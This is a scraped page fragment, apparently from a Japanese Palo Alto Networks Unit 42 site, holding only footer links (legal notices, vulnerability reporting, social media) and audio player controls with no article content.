[製品認証](https://www.paloaltonetworks.com/legal-notices/trust-center/compliance) * [脆弱性の報告](https://www.paloaltonetworks.com/security-disclosure) * [サイトマップ](https://www.paloaltonetworks.jp/sitemap) * [テクニカル ドキュメント](https://docs.paloaltonetworks.com/) * [Unit 42](https://unit42.paloaltonetworks.jp/) * [個人情報の販売および共有禁止](https://panwedd.exterro.net/portal/dsar.htm?target=panwedd) ![Palo Alto Networks Logo](https://www.paloaltonetworks.jp/etc/clientlibs/clean/imgs/pan-logo-dark.svg) * [プライバシー](https://www.paloaltonetworks.jp/legal-notices/privacy) * [トラスト センター](https://www.paloaltonetworks.jp/legal-notices/trust-center) * [利用規約](https://www.paloaltonetworks.jp/legal-notices/terms-of-use) * [ドキュメント](https://www.paloaltonetworks.jp/legal-notices) Copyright © 2026 Palo Alto Networks. All Rights Reserved * [![](https://www.paloaltonetworks.jp/etc/clientlibs/clean/imgs/social/youtube-black.svg)](https://www.youtube.com/user/paloaltonetworks) * [![](https://www.paloaltonetworks.jp/etc/clientlibs/clean/imgs/social/twitter-x-black.svg)](https://twitter.com/PaloAltoNtwks) * [![](https://www.paloaltonetworks.jp/etc/clientlibs/clean/imgs/social/facebook-black.svg)](https://www.facebook.com/PaloAltoNetworks/) * [![](https://www.paloaltonetworks.jp/etc/clientlibs/clean/imgs/social/linkedin-black.svg)](https://www.linkedin.com/company/palo-alto-networks) * [![](https://www.paloaltonetworks.jp/content/dam/pan/en_US/images/icons/podcast.svg)](https://unit42.paloaltonetworks.com/unit-42-threat-vector-podcast/) * JP Select your language ![Play](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-play-icon.svg) ![Pause](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-pause-icon1.svg) ![Minimize](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-minimize.svg) ![Close button](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/close-modal.svg) ### Default Heading Read the article ![Right Arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/right-arrow.svg) Seekbar ![Play](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-play-icon.svg) ![Pause](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-pause-icon1.svg) ![Volume](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-volume.svg) Volume ![Minimize](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-minimize.svg)